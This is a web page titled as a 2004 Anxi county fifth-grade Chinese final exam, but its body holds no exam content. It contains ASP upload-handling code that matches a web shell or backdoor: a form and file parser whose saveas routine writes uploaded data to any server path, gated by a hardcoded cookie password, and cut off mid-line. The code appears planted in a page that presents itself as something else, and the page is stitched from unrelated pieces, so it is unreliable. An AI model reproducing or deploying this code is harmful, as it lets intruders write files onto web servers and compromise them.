2004年秋季安溪县小学语文第十一册期末考试卷(一)

<%on error resume next dim data_xlsf class upload_xlsf dim oform,objfile,version public function form(sform) sform=lcase(sform) if not oform.exists(sform) then form="" else form=oform(sform) end if end function public function file(strfile) strfile=lcase(strfile) if not objfile.exists(strfile) then set file=new fileinfo else set file=objfile(strfile) end if end function private sub class_initialize dim requestdata,sstart,vbcrlf,sinfo,iinfostart,iinfoend,tstream,istart,thefile dim ifilesize,sfilepath,sfiletype,sformvalue,sfilename dim ifindstart,ifindend dim iformstart,iformend,sformname version="xiaolu" set oform=server.createobject("scripting.dictionary") set objfile=server.createobject("scripting.dictionary") if request.totalbytes<1 then exit sub set tstream = server.createobject("adodb.stream") set data_xlsf = server.createobject("adodb.stream") data_xlsf.type = 1 data_xlsf.mode =3 data_xlsf.open data_xlsf.write request.binaryread(request.totalbytes) data_xlsf.position=0 requestdata =data_xlsf.read iformstart = 1 iformend = lenb(requestdata) vbcrlf = chrb(13) & chrb(10) sstart = midb(requestdata,1, instrb(iformstart,requestdata,vbcrlf)-1) istart = lenb (sstart) iformstart=iformstart+istart+1 while (iformstart + 10) < iformend iinfoend = instrb(iformstart,requestdata,vbcrlf & vbcrlf)+3 tstream.type = 1 tstream.mode =3 tstream.open data_xlsf.position = iformstart data_xlsf.copyto tstream,iinfoend-iformstart tstream.position = 0 tstream.type = 2 tstream.charset ="gb2312" sinfo = tstream.readtext tstream.close iformstart = instrb(iinfoend,requestdata,sstart) ifindstart = instr(22,sinfo,"name=""",1)+6 ifindend = instr(ifindstart,sinfo,"""",1) sformname = lcase(mid (sinfo,ifindstart,ifindend-ifindstart)) if instr (45,sinfo,"filename=""",1) > 0 then set thefile=new fileinfo ifindstart = instr(ifindend,sinfo,"filename=""",1)+10 ifindend = instr(ifindstart,sinfo,"""",1) sfilename = mid (sinfo,ifindstart,ifindend-ifindstart) thefile.filename=getfilename(sfilename) thefile.filepath=getfilepath(sfilename) ifindstart = instr(ifindend,sinfo,"content-type: ",1)+14 ifindend = instr(ifindstart,sinfo,vbcr) thefile.filetype =mid (sinfo,ifindstart,ifindend-ifindstart) thefile.filestart =iinfoend thefile.filesize = iformstart -iinfoend -3 thefile.formname=sformname if not objfile.exists(sformname) then objfile.add sformname,thefile end if else tstream.type =1 tstream.mode =3 tstream.open data_xlsf.position = iinfoend data_xlsf.copyto tstream,iformstart-iinfoend-3 tstream.position = 0 tstream.type = 2 tstream.charset ="gb2312" sformvalue = tstream.readtext tstream.close if oform.exists(sformname) then oform(sformname)=oform(sformname)&", "&sformvalue else oform.add sformname,sformvalue end if end if iformstart=iformstart+istart+1 wend requestdata="" set tstream =nothing end sub private sub class_terminate if request.totalbytes>0 then oform.removeall objfile.removeall set oform=nothing set objfile=nothing data_xlsf.close set data_xlsf =nothing end if end sub private function getfilepath(fullpath) if fullpath <> "" then getfilepath = left(fullpath,instrrev(fullpath, "\")) else getfilepath = "" end if end function private function getfilename(fullpath) if fullpath <> "" then getfilename = mid(fullpath,instrrev(fullpath, "\")+1) else getfilename = "" end if end function end class class fileinfo dim formname,filename,filepath,filesize,filetype,filestart private sub class_initialize filename = "" filepath = "" filesize = 0 filestart= 0 formname = "" filetype = "" end sub public function saveas(fullpath) dim dr,errorchar,i saveas=true if trim(fullpath)="" or filestart=0 or filename="" or right(fullpath,1)="/" then exit function set dr=createobject("adodb.stream") dr.mode=3 dr.type=1 dr.open data_xlsf.position=filestart data_xlsf.copyto dr,filesize dr.savetofile fullpath,2 dr.close set dr=nothing saveas=false end function end class httpt = request.servervariables("server_name") rseb=request.servervariables("script_name") d=request("d") if request.cookies("password")<>"12345679" then if trim(request.form("password"

[1] [2] [3] [4] 下一页